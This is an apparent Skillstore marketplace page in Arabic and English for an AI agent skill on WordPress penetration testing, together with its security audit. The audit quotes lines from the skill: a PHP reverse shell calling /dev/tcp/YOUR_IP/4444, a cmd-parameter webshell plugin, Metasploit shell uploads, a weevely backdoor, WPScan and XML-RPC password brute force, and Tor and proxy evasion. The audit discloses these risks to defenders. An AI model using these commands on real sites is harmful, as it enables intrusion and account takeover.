📦
content-creator
88إنشاء محتوى تسويقي متسق مع العلامة التجارية
تحتاج فرق التسويق إلى محتوى يبقى متسقًا عبر القنوات. تساعد هذه المهارة في تخطيط المحتوى وكتابته وتحليله وتحسينه بما يتوافق مع نبرة العلامة التجارية وSEO.
الكتابة والمحتوى عرض
المهارات wordpress-penetration-testing
📦
wordpress-penetration-testing
v1.1 مراجعة المحتوى r1 حرج ⚡ يحتوي على سكربتات⚙️ الأوامر الخارجية🌐 الوصول إلى الشبكة
تقييم أمان WordPress
تتطلب تقييمات WordPress فحوصات قابلة للتكرار للإصدارات والإضافات والقوالب والمستخدمين ومستوى الانكشاف. تنظم هذه المهارة خطوات الاختبار المصرح به ومخرجات التقارير لمستخدمي Claude وCodex وClaude Code.
يدعم: Claude Codex Code(CC)
لا تثبّت هذا Skill تلقائيًا.
تتطلب السياسة المعتمدة مراجعة المشغّل قبل أي إجراء تثبيت.
التثبيت باستخدام Agent لدي
انسخ هذا الطلب إلى Agent لديك. يتضمن صفحة Skill المعتمدة وملف manifest.
طلب الوكيل
Review the Skillstore skill "wordpress-penetration-testing" from https://skillstore.io/skills/sickn33-wordpress-penetration-testing.md and its manifest at https://skillstore.io/api/skills/sickn33-wordpress-penetration-testing/manifest. Verify the artifact. Do not auto-install. Inspect the skill and report your findings, then wait for an operator or manual installation decision.يجب أن يواصل Agent عرض خطته وطلب أي تأكيد تفرضه سياسة الأمان.
موارد مهيّأة لـ Agents
استخدم هذه الروابط عندما يحتاج AI Agent أو crawler أو script إلى سياق نظيف بدلًا من قراءة الصفحة كاملة.
اختبرها
جارٍ استخدام "wordpress-penetration-testing". خطط لتقييم WordPress لموقع شركة صغيرة مع تفويض مكتوب.
النتيجة المتوقعة:
قائمة تحقق مرحلية تغطي تأكيد النطاق والاكتشاف السلبي وتعداد WPScan ومراجعة الإضافات والقوالب والتحقق المنضبط والتقاط الأدلة وتقارير المعالجة.
جارٍ استخدام "wordpress-penetration-testing". لخص هذه النتائج: إضافة قديمة، نقطة نهاية مستخدمين مكشوفة، ملف readme قابل للقراءة.
النتيجة المتوقعة:
ملخص مخاطر موجز يشرح بيانات الإصدار والمستخدمين المكشوفة والمكونات المتأثرة والأثر المحتمل والإصلاحات الموصى بها.
جارٍ استخدام "wordpress-penetration-testing". أنشئ مخطط تقرير لمراجعة أمان WordPress مكتملة.
النتيجة المتوقعة:
هيكل تقرير احترافي يتضمن الملخص التنفيذي والمنهجية والنتائج والأدلة والشدة والمعالجة وخطوات إعادة الاختبار وملاحظات النطاق.
التدقيق الأمني
حرجv6 • ٩/٧/٢٠٢٦ فتح التقرير المرتبط بالإصدار
The audit confirms extensive offensive WordPress testing guidance. It includes active scanning, credential attacks, Metasploit exploitation, reverse shells, webshell creation, and proxy guidance. Many Markdown syntax findings are false positives, but the confirmed findings show high-risk dual-use and abuse-enabling content.
1
الملفات التي تم فحصها
486
الأسطر التي تم تحليلها
100
عناصر المراجعة
0
تم تجاهل الإيجابيات الكاذبة
مخاوف أمنية مؤكدة (12)
حرج
Metasploit framework
- Metasploit Framework
The skill explicitly requires or launches Metasploit for WordPress shell upload exploitation. That framework use supports payload deployment against targets.
حرج
Metasploit framework
#### Metasploit Shell Upload
The skill explicitly requires or launches Metasploit for WordPress shell upload exploitation. That framework use supports payload deployment against targets.
حرج
Metasploit framework
# Start Metasploit
The skill explicitly requires or launches Metasploit for WordPress shell upload exploitation. That framework use supports payload deployment against targets.
حرج
Malware type keywords
// Or use weevely backdoor
The line recommends a weevely backdoor immediately after reverse shell code. This is malware-style persistence and remote access guidance.
حرج
Malicious WordPress Plugin Webshell
The skill instructs creation of a malicious plugin that executes a cmd parameter with PHP system, then shows accessing it with a command query.
The plugin code directly maps a web request parameter to system command execution, which is a classic webshell pattern.
حرج
Reverse Shell and Backdoor Deployment Guidance
The skill tells users to edit WordPress theme files, add PHP reverse shell code, and optionally use a weevely backdoor for access.
The instructions explicitly describe shell access through a theme editor and include a reverse shell command and backdoor mention.
مرتفع
System reconnaissance
- Avoid aggressive modes on monitored sites
The line advises changing behavior around monitored sites, which supports stealth during reconnaissance. The surrounding section includes user-agent and proxy rotation guidance.
مرتفع
Network scanning tools
- Nmap for initial discovery
The skill lists and uses Nmap for WordPress discovery. Network scanning against targets is a real dual-use capability requiring strict authorization.
عرض جميع النتائج المؤكدة البالغة 12
مرتفع
Network scanning tools
# Nmap WordPress detection
The skill lists and uses Nmap for WordPress discovery. Network scanning against targets is a real dual-use capability requiring strict authorization.
مرتفع
Network scanning tools
nmap -p 80,443 --script http-wordpress-enum target.com
The skill lists and uses Nmap for WordPress discovery. Network scanning against targets is a real dual-use capability requiring strict authorization.
مرتفع
Credential Brute Force Workflow
The skill gives WordPress password attack procedures using WPScan, wordlists, multiple users, thread counts, XML-RPC attack modes, and targeted wordlist generation.
The section is explicitly titled Password Attacks and contains concrete commands for brute forcing WordPress credentials.
مرتفع
Detection Evasion and Proxy Rotation Guidance
The skill includes Tor proxy scanning, local proxy routing, random user agents, throttling, proxy rotation, and advice about monitored sites.
The proxy and evasion sections provide concrete steps to route or alter scanner traffic during WordPress testing.
عناصر مراجعة القدرات (100)
هذه قدرات محلية حقيقية قد يُتوقع وجودها لهذه المهارة، لذا فهي تتطلب مراجعة ولكن لا تُحتسب كسلوك خبيث مؤكد.
حرج
Python exec() function
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
The PHP example executes a bash reverse shell from a WordPress theme file. This is direct remote command execution guidance and enables unauthorized shell access.
حرج
Process exec
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
The line invokes a bash reverse shell through PHP exec in a WordPress theme file. It is operational exploitation guidance, not benign command usage.
حرج
Ruby/shell backtick execution
```bash
The code block contains Metasploit module usage to upload shells or run WordPress exploit modules. This is actionable exploitation tooling.
حرج
Ruby/shell backtick execution
```bash
The code block contains Metasploit module usage to upload shells or run WordPress exploit modules. This is actionable exploitation tooling.
حرج
Ruby/shell backtick execution
```php
The PHP code block instructs adding a reverse shell to a WordPress theme file. This is direct remote shell deployment guidance.
حرج
Ruby/shell backtick execution
```bash
The block creates and packages a malicious WordPress plugin that calls system on a cmd parameter. This is webshell creation and remote command execution guidance.
حرج
Unix shell invocation
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
The line invokes a bash reverse shell through PHP exec in a WordPress theme file. It is operational exploitation guidance, not benign command usage.
حرج
Hardcoded URL
// Access via: http://target.com/wp-content/themes/theme_name/404.php
The URL is used to access a planted reverse shell or malicious plugin webshell. This is exploitation and remote command execution workflow evidence.
حرج
Hardcoded URL
curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id"
The URL is used to access a planted reverse shell or malicious plugin webshell. This is exploitation and remote command execution workflow evidence.
مرتفع
Ruby/shell backtick execution
```bash
The code block contains WPScan credential brute-force commands with wordlists and XML-RPC attack modes. These commands are high-risk when used outside an authorized test.
مرتفع
Ruby/shell backtick execution
- `wp-login` - Standard login form
The inline entries describe WordPress password attack modes, including XML-RPC multicall. The context is credential brute forcing rather than harmless formatting.
مرتفع
Ruby/shell backtick execution
- `xmlrpc` - XML-RPC multicall (faster)
The inline entries describe WordPress password attack modes, including XML-RPC multicall. The context is credential brute forcing rather than harmless formatting.
مرتفع
Ruby/shell backtick execution
- `xmlrpc-multicall` - Multiple passwords per request
The inline entries describe WordPress password attack modes, including XML-RPC multicall. The context is credential brute forcing rather than harmless formatting.
مرتفع
Ruby/shell backtick execution
```bash
The code block builds an XML-RPC multicall request with username and password guesses. This is credential attack automation against WordPress.
مرتفع
Ruby/shell backtick execution
```bash
The code block shows scanning through Tor and local proxies. In this skill context, proxy usage supports evasive or anonymized scanning.
مرتفع
Ruby/shell backtick execution
| Password attack | `wpscan --url http://target.com -U admin -P pass.txt` |
The table row contains an actionable WPScan command against a target. It is external command guidance, with higher risk where password attacks are shown.
مرتفع
Ruby/shell backtick execution
- Use random user agents: `--random-user-agent`
The inline option appears in a detection evasion section and supports changing scanner behavior during monitored testing. This is risky in a marketplace skill.
مرتفع
Ruby/shell backtick execution
- Throttle requests: `--throttle 1000`
The inline option appears in a detection evasion section and supports changing scanner behavior during monitored testing. This is risky in a marketplace skill.
مرتفع
Hardcoded URL
wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt
The URL appears in credential attack commands against a WordPress target, including wordlists and XML-RPC password attack modes. This creates a real unauthorized access risk if misused.
مرتفع
Hardcoded URL
wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt
The URL appears in credential attack commands against a WordPress target, including wordlists and XML-RPC password attack modes. This creates a real unauthorized access risk if misused.
مرتفع
Hardcoded URL
wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50
The URL appears in credential attack commands against a WordPress target, including wordlists and XML-RPC password attack modes. This creates a real unauthorized access risk if misused.
مرتفع
Hardcoded URL
wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc
The URL appears in credential attack commands against a WordPress target, including wordlists and XML-RPC password attack modes. This creates a real unauthorized access risk if misused.
مرتفع
Hardcoded URL
wpscan --url http://target.com -U admin -P passwords.txt --throttle 500
The URL appears in credential attack commands against a WordPress target, including wordlists and XML-RPC password attack modes. This creates a real unauthorized access risk if misused.
مرتفع
Hardcoded URL
cewl http://target.com -w wordlist.txt
The URL appears in credential attack commands against a WordPress target, including wordlists and XML-RPC password attack modes. This creates a real unauthorized access risk if misused.
مرتفع
Hardcoded URL
wpscan --url http://target.com -U admin -P wordlist.txt
The URL appears in credential attack commands against a WordPress target, including wordlists and XML-RPC password attack modes. This creates a real unauthorized access risk if misused.
مرتفع
Hardcoded URL
curl -X POST http://target.com/xmlrpc.php
The URL is used for XML-RPC probing and multicall credential testing. This can support account takeover attempts against WordPress sites.
مرتفع
Hardcoded URL
curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></metho
The URL is used for XML-RPC probing and multicall credential testing. This can support account takeover attempts against WordPress sites.
مرتفع
Hardcoded URL
curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php
The URL is used for XML-RPC probing and multicall credential testing. This can support account takeover attempts against WordPress sites.
مرتفع
Hardcoded URL
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050
The URL is used with proxy settings for scanning through Tor or intercepting proxies. In this context, proxying supports evasive or anonymized target scanning.
مرتفع
Hardcoded URL
wpscan --url http://target.com --proxy http://127.0.0.1:8080
The URL is used with proxy settings for scanning through Tor or intercepting proxies. In this context, proxying supports evasive or anonymized target scanning.
مرتفع
Hardcoded URL
wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks
The URL is used with proxy settings for scanning through Tor or intercepting proxies. In this context, proxying supports evasive or anonymized target scanning.
مرتفع
Hardcoded URL
| Password attack | `wpscan --url http://target.com -U admin -P pass.txt` |
The table repeats WPScan commands against a target, including password attack and aggressive scan examples. These are actionable network testing commands.
مرتفع
Hardcoded IP address
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050
The URL is used with proxy settings for scanning through Tor or intercepting proxies. In this context, proxying supports evasive or anonymized target scanning.
مرتفع
Hardcoded IP address
wpscan --url http://target.com --proxy http://127.0.0.1:8080
The URL is used with proxy settings for scanning through Tor or intercepting proxies. In this context, proxying supports evasive or anonymized target scanning.
مرتفع
Hardcoded IP address
wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks
The URL is used with proxy settings for scanning through Tor or intercepting proxies. In this context, proxying supports evasive or anonymized target scanning.
مرتفع
SOCKS proxy
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050
The URL is used with proxy settings for scanning through Tor or intercepting proxies. In this context, proxying supports evasive or anonymized target scanning.
متوسط
Ruby/shell backtick execution
```bash
The code block contains cURL discovery and Nmap WordPress detection commands. These external commands perform active reconnaissance against a target.
متوسط
Ruby/shell backtick execution
```bash
The code block contains WPScan or cURL commands that perform WordPress enumeration against a target. They are real external commands with network impact.
متوسط
Ruby/shell backtick execution
```bash
The code block contains WPScan or cURL commands that perform WordPress enumeration against a target. They are real external commands with network impact.
متوسط
Ruby/shell backtick execution
```bash
The code block contains WPScan or cURL commands that perform WordPress enumeration against a target. They are real external commands with network impact.
متوسط
Ruby/shell backtick execution
```bash
The code block contains WPScan or cURL commands that perform WordPress enumeration against a target. They are real external commands with network impact.
متوسط
Ruby/shell backtick execution
```bash
The code block contains WPScan or cURL commands that perform WordPress enumeration against a target. They are real external commands with network impact.
متوسط
Ruby/shell backtick execution
```bash
The code block contains WPScan or cURL commands that perform WordPress enumeration against a target. They are real external commands with network impact.
متوسط
Ruby/shell backtick execution
```bash
The code block contains WPScan or cURL commands that perform WordPress enumeration against a target. They are real external commands with network impact.
متوسط
Ruby/shell backtick execution
```bash
The code block contains WPScan or cURL commands that perform WordPress enumeration against a target. They are real external commands with network impact.
متوسط
Ruby/shell backtick execution
```
The finding appears in an offensive WordPress testing skill and could support target interaction. Kept fail-closed because the surrounding context is dual-use security tooling.
متوسط
Ruby/shell backtick execution
```
The finding appears in an offensive WordPress testing skill and could support target interaction. Kept fail-closed because the surrounding context is dual-use security tooling.
متوسط
Ruby/shell backtick execution
```bash
The block contains WPScan examples for HTTP authentication and disabled TLS checks. It is active network tooling, though it can be legitimate in authorized testing.
متوسط
Ruby/shell backtick execution
| Basic scan | `wpscan --url http://target.com` |
The table row contains an actionable WPScan command against a target. It is external command guidance, with higher risk where password attacks are shown.
متوسط
Ruby/shell backtick execution
| All enumeration | `wpscan --url http://target.com -e at,ap,u` |
The table row contains an actionable WPScan command against a target. It is external command guidance, with higher risk where password attacks are shown.
متوسط
Ruby/shell backtick execution
| Aggressive | `wpscan --url http://target.com --detection-mode aggressive` |
The table row contains an actionable WPScan command against a target. It is external command guidance, with higher risk where password attacks are shown.
متوسط
Hardcoded URL
wpscan --url http://target.com --http-auth admin:password
The URL appears in authenticated WPScan examples and TLS-check disabling. It is network testing guidance for a target, but it can also be legitimate in authorized audits.
متوسط
Hardcoded URL
wpscan --url https://target.com --disable-tls-checks
The URL appears in authenticated WPScan examples and TLS-check disabling. It is network testing guidance for a target, but it can also be legitimate in authorized audits.
متوسط
Hardcoded URL
| Basic scan | `wpscan --url http://target.com` |
The table repeats WPScan commands against a target, including password attack and aggressive scan examples. These are actionable network testing commands.
متوسط
Hardcoded URL
| All enumeration | `wpscan --url http://target.com -e at,ap,u` |
The table repeats WPScan commands against a target, including password attack and aggressive scan examples. These are actionable network testing commands.
متوسط
Hardcoded URL
| Aggressive | `wpscan --url http://target.com --detection-mode aggressive` |
The table repeats WPScan commands against a target, including password attack and aggressive scan examples. These are actionable network testing commands.
منخفض
Hardcoded URL
curl -s http://target.com | grep -i wordpress
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
curl -s http://target.com | grep -i "wp-content"
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
curl -s http://target.com | grep -i "wp-includes"
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
curl -I http://target.com/wp-login.php
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
curl -I http://target.com/wp-admin/
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
curl -I http://target.com/wp-content/
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
curl -I http://target.com/xmlrpc.php
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
curl -s http://target.com | grep "generator"
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
wpscan --url http://target.com/wordpress/
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
wpscan --url http://target.com --api-token YOUR_API_TOKEN
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
wpscan --url http://target.com --detection-mode aggressive
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
wpscan --url http://target.com -o results.txt
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
wpscan --url http://target.com -f json -o results.json
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
wpscan --url http://target.com -v
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
wpscan --url http://target.com
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
curl -s http://target.com/readme.html | grep -i version
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
curl -s http://target.com/feed/ | grep -i generator
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
curl -s http://target.com | grep "?ver="
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
curl -s http://target.com | grep 'name="generator"'
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
curl -s http://target.com/feed/
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
curl -s http://target.com/comments/feed/
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
wpscan --url http://target.com -e at
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
wpscan --url http://target.com -e vt
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
wpscan --url http://target.com -e at --plugins-detection aggressive
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
curl -s http://target.com | grep "wp-content/themes/"
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
curl -s http://target.com/wp-content/themes/
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
curl -s http://target.com/wp-content/themes/<theme>/readme.txt
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
wpscan --url http://target.com -e ap
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
wpscan --url http://target.com -e vp
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
wpscan --url http://target.com -e ap --plugins-detection aggressive
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
wpscan --url http://target.com -e ap --plugins-detection mixed
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
curl -s http://target.com | grep "wp-content/plugins/"
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
curl -s http://target.com/wp-content/plugins/
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
wpscan --url http://target.com -e u
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
wpscan --url http://target.com -e u1-100
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
curl -s http://target.com/wp-json/wp/v2/users
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
curl -s http://target.com/wp-json/wp/v2/users?per_page=100
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
wpscan --url http://target.com -e at -e ap -e u
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
wpscan --url http://target.com -e vp,vt,u,cb,dbe
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
منخفض
Hardcoded URL
wpscan --url http://target.com -e at,ap,u,cb,dbe \
The hardcoded URL is a placeholder target in active WordPress discovery or enumeration commands. It is not a hidden exfiltration endpoint, but it directs network requests at a target site.
عوامل الخطر
⚡ يحتوي على سكربتات (1)
⚙️ الأوامر الخارجية (50)
SKILL.md:313 SKILL.md:43-60 SKILL.md:60-63 SKILL.md:63-64 SKILL.md:64-65 SKILL.md:65-66 SKILL.md:66-67 SKILL.md:67-68 SKILL.md:68-69 SKILL.md:69-75 SKILL.md:75-93 SKILL.md:93-99 SKILL.md:99-114 SKILL.md:114-126 SKILL.md:126-139 SKILL.md:139-142 SKILL.md:142-149 SKILL.md:149-155 SKILL.md:155-171 SKILL.md:171-174 SKILL.md:174-183 SKILL.md:183-189 SKILL.md:189-209 SKILL.md:209-215 SKILL.md:215-235 SKILL.md:235-241 SKILL.md:241-260 SKILL.md:260-263 SKILL.md:263-264 SKILL.md:264-265 SKILL.md:265-273 SKILL.md:273-285 SKILL.md:285-289 SKILL.md:289-301 SKILL.md:301-307 SKILL.md:307-318 SKILL.md:318-322 SKILL.md:322-342 SKILL.md:342-348 SKILL.md:348-382 SKILL.md:382-386 SKILL.md:386-395 SKILL.md:395-399 SKILL.md:399-405 SKILL.md:405-413 SKILL.md:413-414 SKILL.md:414-415 SKILL.md:415-416 SKILL.md:416-417 SKILL.md:417-418
🌐 الوصول إلى الشبكة (50)
SKILL.md:45 SKILL.md:46 SKILL.md:47 SKILL.md:50 SKILL.md:51 SKILL.md:52 SKILL.md:53 SKILL.md:56 SKILL.md:77 SKILL.md:80 SKILL.md:83 SKILL.md:86 SKILL.md:89 SKILL.md:92 SKILL.md:101 SKILL.md:104 SKILL.md:105 SKILL.md:106 SKILL.md:109 SKILL.md:112 SKILL.md:113 SKILL.md:128 SKILL.md:131 SKILL.md:134 SKILL.md:137 SKILL.md:138 SKILL.md:147 SKILL.md:148 SKILL.md:157 SKILL.md:160 SKILL.md:163 SKILL.md:166 SKILL.md:169 SKILL.md:170 SKILL.md:182 SKILL.md:191 SKILL.md:194 SKILL.md:198 SKILL.md:202 SKILL.md:205 SKILL.md:208 SKILL.md:217 SKILL.md:220 SKILL.md:232 SKILL.md:243 SKILL.md:246 SKILL.md:249 SKILL.md:252 SKILL.md:255 SKILL.md:258
الأنماط المكتشفة
Metasploit framework×3Malware type keywordsSystem reconnaissanceNetwork scanning tools×3
دقّقه: codex عرض سجل التدقيق →
شارك واستشهد بهذا التقرير
شارك تقرير التقييم المرتبط بالإصدار والشارة المحايدة وبطاقة التضمين والاستشهادات. تعرض Skillstore الأدلة من دون أن تقرر ما إذا كانت هذه المهارة آمنة.
نسخ رابط التقرير
https://skillstore.io/skills/sickn33-wordpress-penetration-testing/audits/6?utm_source=security_passport&utm_medium=share&utm_campaign=versioned_reportشارة Markdown
[](https://skillstore.io/skills/sickn33-wordpress-penetration-testing?utm_source=security_passport_badge)شارة HTML
<a href="https://skillstore.io/skills/sickn33-wordpress-penetration-testing?utm_source=security_passport_badge"><img src="https://skillstore.io/badges/skills/sickn33-wordpress-penetration-testing/security.svg" alt="Skillstore security assessment" loading="lazy"></a>بطاقة قابلة للتضمين
<iframe src="https://skillstore.io/embed/skills/sickn33-wordpress-penetration-testing.html" title="Skillstore Security Assessment" sandbox="allow-popups allow-popups-to-escape-sandbox" loading="lazy" referrerpolicy="no-referrer" width="420" height="180"></iframe>الاستشهادات الأكاديمية (APA · BibTeX · CFF)
اقتباس APA
sickn33. (2026). wordpress-penetration-testing security audit report (audit version 6) [Author version 1.1]. Skillstore. https://skillstore.io/skills/sickn33-wordpress-penetration-testing/audits/6اقتباس BibTeX
@techreport{sickn33-sickn33-wordpress-penetration-testing-2026,
author = {sickn33},
title = {wordpress-penetration-testing security audit report (audit version 6)},
institution = {Skillstore},
year = {2026},
number = {6},
url = {https://skillstore.io/skills/sickn33-wordpress-penetration-testing/audits/6},
note = {Author version 1.1}
}CITATION.cff
cff-version: 1.2.0
message: "If you use this Skill, cite its author and this versioned security audit report."
title: "wordpress-penetration-testing security audit report (audit version 6)"
version: "1.1"
type: report
authors:
- name: "sickn33"
date-released: "2026-07-09"
url: "https://skillstore.io/skills/sickn33-wordpress-penetration-testing/audits/6"
identifiers:
- type: other
value: "skillstore:sickn33-wordpress-penetration-testing:audit:6"
description: "Skillstore immutable audit report identifier"
تقييم Skillstore
سبب هذا التقييم موثوقية الأدلة: متوسط 55
الهندسة المعمارية
85
قابلية الصيانة
87
المحتوى
69
المجتمع
83
الامتثال للمواصفات
ما الذي يمكنك بناؤه
إعداد تقييم للعميل
بناء خطة اختبار WordPress محددة النطاق تغطي الاكتشاف والتعداد ومراجعة الثغرات وأدلة التقارير.
مراجعة انكشاف الموقع
فحص إصدارات WordPress والإضافات والقوالب والمستخدمين ونقاط النهاية العامة الظاهرة قبل دورة معالجة.
التحقق من مختبر تدريب أمني
إنشاء سير عمل مختبر مضبوط يوضح تعداد WordPress والتحقق من الدفاعات.
جرّب هذه الموجّهات
خطط لتقييم آمن
أنشئ قائمة تحقق لتقييم أمان WordPress لهدف مصرح به. ضمّن النطاق وخطوات التعداد الآمنة والأدلة المطلوب جمعها وأقسام التقرير.
حلل نتائج التعداد
راجع ملاحظات تعداد WordPress هذه وحدد المخاطر المحتملة والأدلة الناقصة وأولويات المعالجة. لا تضف خطوات استغلال.
حدد أولويات الثغرات
حوّل قائمة نتائج WordPress هذه إلى خطة معالجة ذات أولوية تتضمن المكونات المتأثرة والأثر التجاري والأدلة وخطوات التحقق.
صمم خطة اختبار مصرح بها
صمم خطة اختبار اختراق WordPress محددة النطاق لمشاركة موقعة. ضمّن قواعد المشاركة وحدود المعدل واختيارات الأدوات وضوابط السلامة والمخرجات.
أفضل الممارسات
- أكد التفويض المكتوب والنطاق وحدود المعدل ونوافذ الاختبار قبل استخدام أي مخرجات أدوات.
- فضّل الفحوصات السلبية والتعداد منخفض التأثير قبل عمليات الفحص العدوانية أو اختبار بيانات الاعتماد.
- سجل الأدلة والطوابع الزمنية وعناوين URL المستهدفة وإصدارات الأدوات وإرشادات المعالجة لكل نتيجة.
تجنب
- لا تختبر مواقع WordPress عامة دون إذن مكتوب صريح.
- لا تشغل هجمات بيانات الاعتماد أو وحدات الاستغلال أو خطوات رفع shell على أنظمة الإنتاج دون موافقة.
- لا تتعامل مع مخرجات الماسحات الآلية على أنها مؤكدة دون تحقق يدوي وسياق تجاري.
الأسئلة المتكررة
هل هذه المهارة مخصصة للاختبار المصرح به فقط؟
نعم. يجب استخدامها فقط عندما يكون لدى المختبر إذن مكتوب ونطاق محدد.
هل تتطلب WPScan؟
